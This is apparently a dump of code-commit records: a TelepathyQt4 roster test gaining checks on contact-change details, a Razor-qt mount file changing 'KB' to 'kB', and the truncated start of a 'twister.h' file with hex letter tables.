SIGNAL(finished(Tp::PendingOperation*)),\n            this,\n            SLOT(expectSuccessfulCall(Tp::PendingOperation*))));\n    QCOMPARE(mLoop->exec(), 0);\n    QCOMPARE(mConn->isReady(features), true);\n\n    QStringList toCheck = QStringList() <<\n        QLatin1String(\"sjoerd@example.com\") <<\n        QLatin1String(\"travis@example.com\") <<\n        QLatin1String(\"wim@example.com\") <<\n        QLatin1String(\"olivier@example.com\") <<\n        QLatin1String(\"helen@example.com\") <<\n        QLatin1String(\"geraldine@example.com\") <<\n        QLatin1String(\"guillaume@example.com\") <<\n        QLatin1String(\"christian@example.com\");\n    QStringList ids;\n    QList<ContactPtr> pendingSubscription;\n    QList<ContactPtr> pendingPublish;\n    Q_FOREACH (const ContactPtr &contact,\n            mConn->contactManager()->allKnownContacts()) {\n        qDebug() << \" contact:\" << contact->id() <<\n            \"- subscription:\" << contact->subscriptionState() <<\n            \"- publish:\" << contact->publishState();\n        ids << contact->id();\n        if (contact->subscriptionState() == Contact::PresenceStateAsk) {\n            pendingSubscription.append(contact);\n        } else if (contact->publishState() == Contact::PresenceStateAsk) {\n            pendingPublish.append(contact);\n        }\n    }\n    ids.sort();\n    toCheck.sort();\n    QCOMPARE(ids, toCheck);\n    QCOMPARE(pendingSubscription.size(), 2);\n    QCOMPARE(pendingPublish.size(), 2);\n\n    \/\/ Wait for the contacts to be built\n    ids = QStringList() << QString(QLatin1String(\"john@example.com\"))\n        << QString(QLatin1String(\"mary@example.com\"));\n    QVERIFY(connect(mConn->contactManager()->contactsForIdentifiers(ids),\n                    SIGNAL(finished(Tp::PendingOperation*)),\n                    SLOT(expectPendingContactsFinished(Tp::PendingOperation*))));\n    QCOMPARE(mLoop->exec(), 0);\n\n    int i = 0;\n\n    Q_FOREACH (const ContactPtr &contact, mContacts) {\n        QVERIFY(connect(contact.data(),\n                        SIGNAL(subscriptionStateChanged(Tp::Contact::PresenceState)),\n                        SLOT(expectPresenceStateChanged(Tp::Contact::PresenceState))));\n        QVERIFY(connect(contact.data(),\n                        SIGNAL(publishStateChanged(Tp::Contact::PresenceState)),\n                        SLOT(expectPresenceStateChanged(Tp::Contact::PresenceState))));\n        if ((i % 2) == 0) {\n            contact->requestPresenceSubscription(QLatin1String(\"please add me\"));\n        } else {\n            contact->requestPresenceSubscription(QLatin1String(\"add me now\"));\n        }\n\n        QCOMPARE(mLoop->exec(), 0);\n\n        if ((i % 2) == 0) {\n            \/\/ I asked to see his presence - he might have already accepted it, though\n            QVERIFY(contact->subscriptionState() == Contact::PresenceStateAsk\n                    || contact->subscriptionState() == Contact::PresenceStateYes);\n\n            \/\/ if he accepted it already, one iteration won't be enough as the\n            \/\/ first iteration will just flush the subscription -> Yes event\n            while (contact->publishState() != Contact::PresenceStateAsk) {\n                QCOMPARE(mLoop->exec(), 0);\n            }\n\n            contact->authorizePresencePublication();\n            QCOMPARE(mLoop->exec(), 0);\n            \/\/ I authorized him to see my presence\n            QCOMPARE(static_cast<uint>(contact->publishState()),\n                     static_cast<uint>(Contact::PresenceStateYes));\n            \/\/ He replied the presence request\n            QCOMPARE(static_cast<uint>(contact->subscriptionState()),\n                     static_cast<uint>(Contact::PresenceStateYes));\n\n            contact->removePresenceSubscription();\n            QCOMPARE(mLoop->exec(), 0);\n            QCOMPARE(static_cast<uint>(contact->subscriptionState()),\n                     static_cast<uint>(Contact::PresenceStateNo));\n        } else {\n            \/\/ I asked to see his presence - she might have already rejected it, though\n            QVERIFY(contact->subscriptionState() == Contact::PresenceStateAsk\n                    || contact->subscriptionState() == Contact::PresenceStateNo);\n\n            \/\/ If she didn't already reject it, wait until she does\n            if (contact->subscriptionState() != Contact::PresenceStateNo) {\n                QCOMPARE(mLoop->exec(), 0);\n                QCOMPARE(static_cast<uint>(contact->subscriptionState()),\n                        static_cast<uint>(Contact::PresenceStateNo));\n            }\n        }\n\n        ++i;\n\n        \/\/ Disconnect the signals so the contacts doing something won't early-exit future mainloop\n        \/\/ iterations (the simulation CM does things like - after a delay since we removed them, try\n        \/\/ to re-add us - and such, which mess up the test if the simulated network event happens\n        \/\/ before we've finished with the next contact)\n        QVERIFY(contact->disconnect(this));\n\n        \/\/ TODO: The roster API, frankly speaking, seems rather error\/race prone, as evidenced by\n        \/\/ this test. Should we perhaps change its semantics? Then again, this test also simulates\n        \/\/ the remote user accepting\/rejecting the request with a quite unpredictable timer delay,\n        \/\/ while real-world applications don't do any such assumptions about the timing of the\n        \/\/ remote user actions, so most of the problems won't be applicable there.\n    }\n\n    i = 0;\n    Contact::PresenceState expectedPresenceState;\n    Q_FOREACH (const ContactPtr &contact, pendingPublish) {\n        QVERIFY(connect(contact.data(),\n                        SIGNAL(publishStateChanged(Tp::Contact::PresenceState)),\n                        SLOT(expectPresenceStateChanged(Tp::Contact::PresenceState))));\n\n        if ((i % 2) == 0) {\n            expectedPresenceState = Contact::PresenceStateYes;\n            contact->authorizePresencePublication();\n        } else {\n            expectedPresenceState = Contact::PresenceStateNo;\n            contact->removePresencePublication();\n        }\n\n        QCOMPARE(mLoop->exec(), 0);\n        QCOMPARE(static_cast<uint>(contact->publishState()),\n                 static_cast<uint>(expectedPresenceState));\n\n        ++i;\n    }\n\n    \/\/ Test allKnownContactsChanged.\n    \/\/ In this test, everytime a subscription is requested or rejected, allKnownContacts changes\n    \/\/ Cache the current value\n    mHowManyKnownContacts = mConn->contactManager()->allKnownContacts().size();\n    \/\/ Watch for contacts changed\n    QVERIFY(connect(mConn->contactManager(),\n                    SIGNAL(allKnownContactsChanged(Tp::Contacts,Tp::Contacts)),\n                    SLOT(expectAllKnownContactsChanged(Tp::Contacts,Tp::Contacts))));\n\n    \/\/ Wait for the contacts to be built\n    ids = QStringList() << QString(QLatin1String(\"kctest1@example.com\"))\n        << QString(QLatin1String(\"kctest2@example.com\"));\n    QVERIFY(connect(mConn->contactManager()->contactsForIdentifiers(ids),\n                    SIGNAL(finished(Tp::PendingOperation*)),\n                    SLOT(expectPendingContactsFinished(Tp::PendingOperation*))));\n    QCOMPARE(mLoop->exec(), 0);\n\n    Q_FOREACH (const ContactPtr &contact, mContacts) {\n        contact->requestPresenceSubscription(QLatin1String(\"add me now\"));\n\n        \/\/ allKnownContacts is supposed to change here.\n        QCOMPARE(mLoop->exec(), 0);\n    }\n}\n\nvoid TestConnRoster::cleanup()\n{\n    if (mConn) {\n        \/\/ Disconnect and wait for the readiness change\n        QVERIFY(connect(mConn->requestDisconnect(),\n                        SIGNAL(finished(Tp::PendingOperation*)),\n                        SLOT(expectSuccessfulCall(Tp::PendingOperation*))));\n        QCOMPARE(mLoop->exec(), 0);\n\n        if (mConn->isValid()) {\n            QVERIFY(connect(mConn.data(),\n                            SIGNAL(invalidated(Tp::DBusProxy *,\n                                               const QString &, const QString &)),\n                            SLOT(expectConnInvalidated())));\n            QCOMPARE(mLoop->exec(), 0);\n        }\n    }\n\n    cleanupImpl();\n}\n\nvoid TestConnRoster::cleanupTestCase()\n{\n    if (mConnService != 0) {\n        g_object_unref(mConnService);\n        mConnService = 0;\n    }\n\n    cleanupTestCaseImpl();\n}\n\nQTEST_MAIN(TestConnRoster)\n#include \"_gen\/conn-roster.cpp.moc.hpp\"\n<commit_msg>Test details in ContactManager::allKnownContactsChanged()<commit_after>#include <QtCore\/QDebug>\n#include <QtCore\/QTimer>\n\n#include <QtDBus\/QtDBus>\n\n#include <QtTest\/QtTest>\n\n#include <TelepathyQt4\/Connection>\n#include <TelepathyQt4\/Contact>\n#include <TelepathyQt4\/ContactManager>\n#include <TelepathyQt4\/PendingChannel>\n#include <TelepathyQt4\/PendingContacts>\n#include <TelepathyQt4\/PendingReady>\n#include <TelepathyQt4\/Debug>\n\n#include <telepathy-glib\/debug.h>\n\n#include <tests\/lib\/glib\/contactlist\/conn.h>\n#include <tests\/lib\/test.h>\n\nusing namespace Tp;\n\nclass TestConnRoster : public Test\n{\n    Q_OBJECT\n\npublic:\n    TestConnRoster(QObject *parent = 0)\n        : Test(parent), mConnService(0)\n    { }\n\nprotected Q_SLOTS:\n    void expectConnInvalidated();\n    void expectPendingContactsFinished(Tp::PendingOperation *);\n    void expectPresenceStateChanged(Tp::Contact::PresenceState);\n    void expectAllKnownContactsChanged(const Tp::Contacts &added, const Tp::Contacts &removed,\n            const Tp::Channel::GroupMemberChangeDetails &details);\n\nprivate Q_SLOTS:\n    void initTestCase();\n    void init();\n\n    void testRoster();\n\n    void cleanup();\n    void cleanupTestCase();\n\nprivate:\n    QString mConnName, mConnPath;\n    ExampleContactListConnection *mConnService;\n    ConnectionPtr mConn;\n    QList<ContactPtr> mContacts;\n    int mHowManyKnownContacts;\n};\n\nvoid TestConnRoster::expectConnInvalidated()\n{\n    mLoop->exit(0);\n}\n\nvoid TestConnRoster::expectPendingContactsFinished(PendingOperation *op)\n{\n    if (!op->isFinished()) {\n        qWarning() << \"unfinished\";\n        mLoop->exit(1);\n        return;\n    }\n\n    if (op->isError()) {\n        qWarning().nospace() << op->errorName()\n            << \": \" << op->errorMessage();\n        mLoop->exit(2);\n        return;\n    }\n\n    if (!op->isValid()) {\n        qWarning() << \"inconsistent results\";\n        mLoop->exit(3);\n        return;\n    }\n\n    qDebug() << \"finished\";\n    PendingContacts *pending = qobject_cast<PendingContacts *>(op);\n    mContacts = pending->contacts();\n\n    mLoop->exit(0);\n}\n\nvoid TestConnRoster::expectAllKnownContactsChanged(const Tp::Contacts& added, const Tp::Contacts& removed,\n        const Tp::Channel::GroupMemberChangeDetails &details)\n{\n    qDebug() << added.size() << \" contacts added, \" << removed.size() << \" contacts removed\";\n    mHowManyKnownContacts += added.size();\n    mHowManyKnownContacts -= removed.size();\n    QVERIFY(details.hasMessage());\n    QCOMPARE(details.message(), QLatin1String(\"add me now\"));\n    if (mConn->contactManager()->allKnownContacts().size() != mHowManyKnownContacts) {\n        qWarning() << \"Contacts number mismatch! Watched value: \" << mHowManyKnownContacts\n                   << \"allKnownContacts(): \" << mConn->contactManager()->allKnownContacts().size();\n        mLoop->exit(1);\n    } else {\n        mLoop->exit(0);\n    }\n}\n\nvoid TestConnRoster::expectPresenceStateChanged(Contact::PresenceState state)\n{\n    mLoop->exit(0);\n}\n\nvoid TestConnRoster::initTestCase()\n{\n    initTestCaseImpl();\n\n    g_type_init();\n    g_set_prgname(\"conn-roster\");\n    tp_debug_set_flags(\"all\");\n    dbus_g_bus_get(DBUS_BUS_STARTER, 0);\n\n    gchar *name;\n    gchar *connPath;\n    GError *error = 0;\n\n    mConnService = EXAMPLE_CONTACT_LIST_CONNECTION(g_object_new(\n            EXAMPLE_TYPE_CONTACT_LIST_CONNECTION,\n            \"account\", \"me@example.com\",\n            \"protocol\", \"contactlist\",\n            \"simulation-delay\", 1,\n            NULL));\n    QVERIFY(mConnService != 0);\n    QVERIFY(tp_base_connection_register(TP_BASE_CONNECTION(mConnService),\n                \"contacts\", &name, &connPath, &error));\n    QVERIFY(error == 0);\n\n    QVERIFY(name != 0);\n    QVERIFY(connPath != 0);\n\n    mConnName = QLatin1String(name);\n    mConnPath = QLatin1String(connPath);\n\n    g_free(name);\n    g_free(connPath);\n}\n\nvoid TestConnRoster::init()\n{\n    initImpl();\n\n    mConn = Connection::create(mConnName, mConnPath);\n\n    QVERIFY(connect(mConn->requestConnect(),\n                    SIGNAL(finished(Tp::PendingOperation*)),\n                    SLOT(expectSuccessfulCall(Tp::PendingOperation*))));\n    QCOMPARE(mLoop->exec(), 0);\n    QCOMPARE(mConn->isReady(), true);\n    QCOMPARE(mConn->status(), Connection::StatusConnected);\n}\n\nvoid TestConnRoster::testRoster()\n{\n    Features features = Features() << Connection::FeatureRoster;\n    QVERIFY(connect(mConn->becomeReady(features),\n            SIGNAL(finished(Tp::PendingOperation*)),\n            this,\n            SLOT(expectSuccessfulCall(Tp::PendingOperation*))));\n    QCOMPARE(mLoop->exec(), 0);\n    QCOMPARE(mConn->isReady(features), true);\n\n    QStringList toCheck = QStringList() <<\n        QLatin1String(\"sjoerd@example.com\") <<\n        QLatin1String(\"travis@example.com\") <<\n        QLatin1String(\"wim@example.com\") <<\n        QLatin1String(\"olivier@example.com\") <<\n        QLatin1String(\"helen@example.com\") <<\n        QLatin1String(\"geraldine@example.com\") <<\n        QLatin1String(\"guillaume@example.com\") <<\n        QLatin1String(\"christian@example.com\");\n    QStringList ids;\n    QList<ContactPtr> pendingSubscription;\n    QList<ContactPtr> pendingPublish;\n    Q_FOREACH (const ContactPtr &contact,\n            mConn->contactManager()->allKnownContacts()) {\n        qDebug() << \" contact:\" << contact->id() <<\n            \"- subscription:\" << contact->subscriptionState() <<\n            \"- publish:\" << contact->publishState();\n        ids << contact->id();\n        if (contact->subscriptionState() == Contact::PresenceStateAsk) {\n            pendingSubscription.append(contact);\n        } else if (contact->publishState() == Contact::PresenceStateAsk) {\n            pendingPublish.append(contact);\n        }\n    }\n    ids.sort();\n    toCheck.sort();\n    QCOMPARE(ids, toCheck);\n    QCOMPARE(pendingSubscription.size(), 2);\n    QCOMPARE(pendingPublish.size(), 2);\n\n    \/\/ Wait for the contacts to be built\n    ids = QStringList() << QString(QLatin1String(\"john@example.com\"))\n        << QString(QLatin1String(\"mary@example.com\"));\n    QVERIFY(connect(mConn->contactManager()->contactsForIdentifiers(ids),\n                    SIGNAL(finished(Tp::PendingOperation*)),\n                    SLOT(expectPendingContactsFinished(Tp::PendingOperation*))));\n    QCOMPARE(mLoop->exec(), 0);\n\n    int i = 0;\n\n    Q_FOREACH (const ContactPtr &contact, mContacts) {\n        QVERIFY(connect(contact.data(),\n                        SIGNAL(subscriptionStateChanged(Tp::Contact::PresenceState)),\n                        SLOT(expectPresenceStateChanged(Tp::Contact::PresenceState))));\n        QVERIFY(connect(contact.data(),\n                        SIGNAL(publishStateChanged(Tp::Contact::PresenceState)),\n                        SLOT(expectPresenceStateChanged(Tp::Contact::PresenceState))));\n        if ((i % 2) == 0) {\n            contact->requestPresenceSubscription(QLatin1String(\"please add me\"));\n        } else {\n            contact->requestPresenceSubscription(QLatin1String(\"add me now\"));\n        }\n\n        QCOMPARE(mLoop->exec(), 0);\n\n        if ((i % 2) == 0) {\n            \/\/ I asked to see his presence - he might have already accepted it, though\n            QVERIFY(contact->subscriptionState() == Contact::PresenceStateAsk\n                    || contact->subscriptionState() == Contact::PresenceStateYes);\n\n            \/\/ if he accepted it already, one iteration won't be enough as the\n            \/\/ first iteration will just flush the subscription -> Yes event\n            while (contact->publishState() != Contact::PresenceStateAsk) {\n                QCOMPARE(mLoop->exec(), 0);\n            }\n\n            contact->authorizePresencePublication();\n            QCOMPARE(mLoop->exec(), 0);\n            \/\/ I authorized him to see my presence\n            QCOMPARE(static_cast<uint>(contact->publishState()),\n                     static_cast<uint>(Contact::PresenceStateYes));\n            \/\/ He replied the presence request\n            QCOMPARE(static_cast<uint>(contact->subscriptionState()),\n                     static_cast<uint>(Contact::PresenceStateYes));\n\n            contact->removePresenceSubscription();\n            QCOMPARE(mLoop->exec(), 0);\n            QCOMPARE(static_cast<uint>(contact->subscriptionState()),\n                     static_cast<uint>(Contact::PresenceStateNo));\n        } else {\n            \/\/ I asked to see his presence - she might have already rejected it, though\n            QVERIFY(contact->subscriptionState() == Contact::PresenceStateAsk\n                    || contact->subscriptionState() == Contact::PresenceStateNo);\n\n            \/\/ If she didn't already reject it, wait until she does\n            if (contact->subscriptionState() != Contact::PresenceStateNo) {\n                QCOMPARE(mLoop->exec(), 0);\n                QCOMPARE(static_cast<uint>(contact->subscriptionState()),\n                        static_cast<uint>(Contact::PresenceStateNo));\n            }\n        }\n\n        ++i;\n\n        \/\/ Disconnect the signals so the contacts doing something won't early-exit future mainloop\n        \/\/ iterations (the simulation CM does things like - after a delay since we removed them, try\n        \/\/ to re-add us - and such, which mess up the test if the simulated network event happens\n        \/\/ before we've finished with the next contact)\n        QVERIFY(contact->disconnect(this));\n\n        \/\/ TODO: The roster API, frankly speaking, seems rather error\/race prone, as evidenced by\n        \/\/ this test. Should we perhaps change its semantics? Then again, this test also simulates\n        \/\/ the remote user accepting\/rejecting the request with a quite unpredictable timer delay,\n        \/\/ while real-world applications don't do any such assumptions about the timing of the\n        \/\/ remote user actions, so most of the problems won't be applicable there.\n    }\n\n    i = 0;\n    Contact::PresenceState expectedPresenceState;\n    Q_FOREACH (const ContactPtr &contact, pendingPublish) {\n        QVERIFY(connect(contact.data(),\n                        SIGNAL(publishStateChanged(Tp::Contact::PresenceState)),\n                        SLOT(expectPresenceStateChanged(Tp::Contact::PresenceState))));\n\n        if ((i % 2) == 0) {\n            expectedPresenceState = Contact::PresenceStateYes;\n            contact->authorizePresencePublication();\n        } else {\n            expectedPresenceState = Contact::PresenceStateNo;\n            contact->removePresencePublication();\n        }\n\n        QCOMPARE(mLoop->exec(), 0);\n        QCOMPARE(static_cast<uint>(contact->publishState()),\n                 static_cast<uint>(expectedPresenceState));\n\n        ++i;\n    }\n\n    \/\/ Test allKnownContactsChanged.\n    \/\/ In this test, everytime a subscription is requested or rejected, allKnownContacts changes\n    \/\/ Cache the current value\n    mHowManyKnownContacts = mConn->contactManager()->allKnownContacts().size();\n    \/\/ Watch for contacts changed\n    QVERIFY(connect(mConn->contactManager(),\n                    SIGNAL(allKnownContactsChanged(Tp::Contacts,Tp::Contacts,\n                            Tp::Channel::GroupMemberChangeDetails)),\n                    SLOT(expectAllKnownContactsChanged(Tp::Contacts,Tp::Contacts,\n                            Tp::Channel::GroupMemberChangeDetails))));\n\n    \/\/ Wait for the contacts to be built\n    ids = QStringList() << QString(QLatin1String(\"kctest1@example.com\"))\n        << QString(QLatin1String(\"kctest2@example.com\"));\n    QVERIFY(connect(mConn->contactManager()->contactsForIdentifiers(ids),\n                    SIGNAL(finished(Tp::PendingOperation*)),\n                    SLOT(expectPendingContactsFinished(Tp::PendingOperation*))));\n    QCOMPARE(mLoop->exec(), 0);\n\n    Q_FOREACH (const ContactPtr &contact, mContacts) {\n        contact->requestPresenceSubscription(QLatin1String(\"add me now\"));\n\n        \/\/ allKnownContacts is supposed to change here.\n        QCOMPARE(mLoop->exec(), 0);\n    }\n}\n\nvoid TestConnRoster::cleanup()\n{\n    if (mConn) {\n        \/\/ Disconnect and wait for the readiness change\n        QVERIFY(connect(mConn->requestDisconnect(),\n                        SIGNAL(finished(Tp::PendingOperation*)),\n                        SLOT(expectSuccessfulCall(Tp::PendingOperation*))));\n        QCOMPARE(mLoop->exec(), 0);\n\n        if (mConn->isValid()) {\n            QVERIFY(connect(mConn.data(),\n                            SIGNAL(invalidated(Tp::DBusProxy *,\n                                               const QString &, const QString &)),\n                            SLOT(expectConnInvalidated())));\n            QCOMPARE(mLoop->exec(), 0);\n        }\n    }\n\n    cleanupImpl();\n}\n\nvoid TestConnRoster::cleanupTestCase()\n{\n    if (mConnService != 0) {\n        g_object_unref(mConnService);\n        mConnService = 0;\n    }\n\n    cleanupTestCaseImpl();\n}\n\nQTEST_MAIN(TestConnRoster)\n#include \"_gen\/conn-roster.cpp.moc.hpp\"\n<|endoftext|>"}
{"text":"<commit_before>\/* BEGIN_COMMON_COPYRIGHT_HEADER\n * (c)LGPL2+\n *\n * Razor - a lightweight, Qt based, desktop toolset\n * http:\/\/razor-qt.org\n *\n * Copyright: 2012 Razor team\n * Authors:\n *   Alexander Sokoloff <sokoloff.a@gmail.com>\n *\n * This program or library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * END_COMMON_COPYRIGHT_HEADER *\/\n\n#include \"razormount.h\"\n#include \"rzmountproviders.h\"\n#include <QtCore\/QDebug>\n\nRazorMountDevice::RazorMountDevice():\n    QObject(0),\n    mIsValid(false),\n    mIsExternal(false),\n    mIsMounted(false),\n    mIsEjectable(false)\n{\n}\n\nQString RazorMountDevice::sizeToString(qulonglong size)\n{\n    double n;\n    n = size \/ (1024.0 * 1024 * 1024);\n    if (n >= 1.0)\n        return QObject::tr(\"%1 GB\").arg(n, 0, 'f', 1);\n\n    n = size \/ (1024.0 * 1024);\n    if (n >= 1.0)\n        return QObject::tr(\"%1 MB\").arg(n, 0, 'f', 1);\n\n    n = size \/ (1024.0);\n    if (n >= 1.0)\n        return QObject::tr(\"%1 KB\").arg(n, 0, 'f', 1);\n\n    return QObject::tr(\"%1 B\").arg(size);\n}\n\n\nRazorMountManager::RazorMountManager(QObject *parent):\n    QObject(parent),\n    mProvider(0)\n{\n    mProvider = new UDisks2Provider(this);\n    if (!mProvider->isValid())\n    {              \n        delete mProvider;\n        mProvider = 0;\n\n        mProvider = new UDiskProvider(this);\n        if (!mProvider->isValid())\n        {\n            delete mProvider;\n            mProvider = 0;\n        }\n    }\n\n    if (!mProvider)\n        return;\n\n\n    update();\n\n    connect(mProvider, SIGNAL(deviceAdded(RazorMountDevice*)),\n                 this, SIGNAL(deviceAdded(RazorMountDevice*)));\n\n    connect(mProvider, SIGNAL(deviceChanged(RazorMountDevice*)),\n                 this, SIGNAL(deviceChanged(RazorMountDevice*)));\n\n    connect(mProvider, SIGNAL(deviceRemoved(RazorMountDevice*)),\n                 this, SIGNAL(deviceRemoved(RazorMountDevice*)));\n}\n\n\nRazorMountManager::~RazorMountManager()\n{\n    delete mProvider;\n}\n\n\nvoid RazorMountManager::update()\n{\n    if (mProvider)\n        mProvider->update();\n    else\n        qDebug() << \"RazorMountDeviceList RazorMountManager::update() no valid provider in use\";\n\n}\n\n\nconst RazorMountDeviceList RazorMountManager::devices() const\n{\n    if (mProvider)\n    {\n        qDebug() << \"RazorMountManager::devices\" << mProvider->devices();\n        return mProvider->devices();\n    }\n    else\n    {\n        qDebug() << \"RazorMountDeviceList RazorMountManager::devices() no valid provider in use\";\n        return RazorMountDeviceList();\n    }\n}\n\n\nQDebug operator<<(QDebug dbg, const RazorMountDevice &device)\n{\n    dbg << device.devFile();\n\n    switch (device.mediaType())\n    {\n    case RazorMountDevice::MediaTypeUnknown:    dbg<<\"Type: MediaTypeUnknown\";  break;\n    case RazorMountDevice::MediaTypeDrive:      dbg<<\"Type: MediaTypeDrive\";    break;\n    case RazorMountDevice::MediaTypePartition:  dbg<<\"Type: MediaTypePartition\";break;\n    case RazorMountDevice::MediaTypeFdd:        dbg<<\"Type: MediaTypeFdd\";      break;\n    case RazorMountDevice::MediaTypeOptical:    dbg<<\"Type: MediaTypeOptical\";  break;\n    default:                                    dbg<<\"Type: \"<<device.mediaType();break;\n    }\n    dbg << \"Label: \" << device.label();\n    dbg << \"Mount path:\" << device.mountPath();\n    return dbg.space();\n}\n\n\nQDebug operator<<(QDebug dbg, const RazorMountDevice *device)\n{\n    return operator<<(dbg, *device);\n}\n<commit_msg>\"KB\" changed to \"kB\"<commit_after>\/* BEGIN_COMMON_COPYRIGHT_HEADER\n * (c)LGPL2+\n *\n * Razor - a lightweight, Qt based, desktop toolset\n * http:\/\/razor-qt.org\n *\n * Copyright: 2012 Razor team\n * Authors:\n *   Alexander Sokoloff <sokoloff.a@gmail.com>\n *\n * This program or library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * END_COMMON_COPYRIGHT_HEADER *\/\n\n#include \"razormount.h\"\n#include \"rzmountproviders.h\"\n#include <QtCore\/QDebug>\n\nRazorMountDevice::RazorMountDevice():\n    QObject(0),\n    mIsValid(false),\n    mIsExternal(false),\n    mIsMounted(false),\n    mIsEjectable(false)\n{\n}\n\nQString RazorMountDevice::sizeToString(qulonglong size)\n{\n    double n;\n    n = size \/ (1024.0 * 1024 * 1024);\n    if (n >= 1.0)\n        return QObject::tr(\"%1 GB\").arg(n, 0, 'f', 1);\n\n    n = size \/ (1024.0 * 1024);\n    if (n >= 1.0)\n        return QObject::tr(\"%1 MB\").arg(n, 0, 'f', 1);\n\n    n = size \/ (1024.0);\n    if (n >= 1.0)\n        return QObject::tr(\"%1 kB\").arg(n, 0, 'f', 1);\n\n    return QObject::tr(\"%1 B\").arg(size);\n}\n\n\nRazorMountManager::RazorMountManager(QObject *parent):\n    QObject(parent),\n    mProvider(0)\n{\n    mProvider = new UDisks2Provider(this);\n    if (!mProvider->isValid())\n    {              \n        delete mProvider;\n        mProvider = 0;\n\n        mProvider = new UDiskProvider(this);\n        if (!mProvider->isValid())\n        {\n            delete mProvider;\n            mProvider = 0;\n        }\n    }\n\n    if (!mProvider)\n        return;\n\n\n    update();\n\n    connect(mProvider, SIGNAL(deviceAdded(RazorMountDevice*)),\n                 this, SIGNAL(deviceAdded(RazorMountDevice*)));\n\n    connect(mProvider, SIGNAL(deviceChanged(RazorMountDevice*)),\n                 this, SIGNAL(deviceChanged(RazorMountDevice*)));\n\n    connect(mProvider, SIGNAL(deviceRemoved(RazorMountDevice*)),\n                 this, SIGNAL(deviceRemoved(RazorMountDevice*)));\n}\n\n\nRazorMountManager::~RazorMountManager()\n{\n    delete mProvider;\n}\n\n\nvoid RazorMountManager::update()\n{\n    if (mProvider)\n        mProvider->update();\n    else\n        qDebug() << \"RazorMountDeviceList RazorMountManager::update() no valid provider in use\";\n\n}\n\n\nconst RazorMountDeviceList RazorMountManager::devices() const\n{\n    if (mProvider)\n    {\n        qDebug() << \"RazorMountManager::devices\" << mProvider->devices();\n        return mProvider->devices();\n    }\n    else\n    {\n        qDebug() << \"RazorMountDeviceList RazorMountManager::devices() no valid provider in use\";\n        return RazorMountDeviceList();\n    }\n}\n\n\nQDebug operator<<(QDebug dbg, const RazorMountDevice &device)\n{\n    dbg << device.devFile();\n\n    switch (device.mediaType())\n    {\n    case RazorMountDevice::MediaTypeUnknown:    dbg<<\"Type: MediaTypeUnknown\";  break;\n    case RazorMountDevice::MediaTypeDrive:      dbg<<\"Type: MediaTypeDrive\";    break;\n    case RazorMountDevice::MediaTypePartition:  dbg<<\"Type: MediaTypePartition\";break;\n    case RazorMountDevice::MediaTypeFdd:        dbg<<\"Type: MediaTypeFdd\";      break;\n    case RazorMountDevice::MediaTypeOptical:    dbg<<\"Type: MediaTypeOptical\";  break;\n    default:                                    dbg<<\"Type: \"<<device.mediaType();break;\n    }\n    dbg << \"Label: \" << device.label();\n    dbg << \"Mount path:\" << device.mountPath();\n    return dbg.space();\n}\n\n\nQDebug operator<<(QDebug dbg, const RazorMountDevice *device)\n{\n    return operator<<(dbg, *device);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"twister.h\"\n\nconst unsigned CYCLE = 0x100;\n\nconst unsigned C_TRANS_ = 0xff;\nint block_units[][0x10] = {\n\t0x74, 0x63, 0x69, 0x67, 0x72, 0x68, 0x6e, 0x6c, 0x61, 0x67, 0x74, 0x6c, 0x69, 0x73, 0x61, 0x61, 0x6f, 0x6d, 0x6f, 0x72, 0x6e, 0x72, 0x69, 0x6d, 0x6e, 0x6e, 0x65, 0x74, 0x72, 0x6e, 0x6b, 0x73, 0x61, 0x6f, 0x65, 0x69, 0x73, 0x64, 0x6c, 0x65, 0x69, 0x6b, 0x68, 0x68, 0x68, 0x65, 0x72, 0x64, 0x66, 0x74, 0x61, 0x73, 0x6f, 0x69, 0x65, 0x74, 0x69, 0x68, 0x6e, 0x65, 0x62, 0x74, 0x6b, 0x65\n  };\nint triad_units[][0x03] = {\n\t0x74, 0x68, 0x65, 0x74, 0x68, 0x61, 0x65, 0x74, 0x68, 0x66, 0x6f, 0x72, 0x65, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x65, 0x72, 0x65, 0x68, 0x61, 0x74, 0x68, 0x69, 0x73\n};\nconst int transition_seq[] = { 0xce, 0xab, 0xdf, 0xcf, 0xee,\n                               0xcf, 0xad, 0xdf, 0xff, 0xce, \n                               0x32, 0x40, 0xd3, 0x27, 0x82, \n                               0xda, 0xee, 0xff, 0xfc, 0xbf, \n                               0x1c, 0x90, 0x13, 0x4a, 0xa5, \n                               0xe0, 0x21, 0x9f, 0xe1, 0xc6, \n                               0xe4, 0x38, 0x1f, 0x60, 0x24, \n                               0x0c, 0x35, 0x51, 0x32, 0xcf, \n                               0x12, 0x9a, 0x30, 0x44, 0x72, \n                               0x04, 0x1c, 0x52, 0xca, 0xdf, \n                               0x12, 0x0b, 0x30, 0xa0, 0x1e, \n                               0x03, 0x14, 0x09, 0x73, 0x23, \n                               0xf2, 0xca, 0xa2, 0x51, 0xc6, \n                               0xcb, 0xbd, 0xba, 0xac, 0xdf, \n\t\t\t       0xdf, 0xde, 0xcd, 0xfd, 0xca };\n\nint ENTRY_LINK__ = 0x05;\n\nunsigned reflect(unsigned center, unsigned (*r)(unsigned))\n{\n  return (*r)(center)^center;\n}\nunsigned char base(unsigned char a, unsigned char (*s)(unsigned char), int pos)\n{\n\treturn (*s)(pos)^a;\n}\n\nvoid transHomExt(vector<unsigned char>& data, unsigned char (*f)(unsigned char), unsigned char (*g)(unsigned char))\n{\n  for(unsigned i = 0; i<data.size(); i++)\n  {\n    unsigned char d = 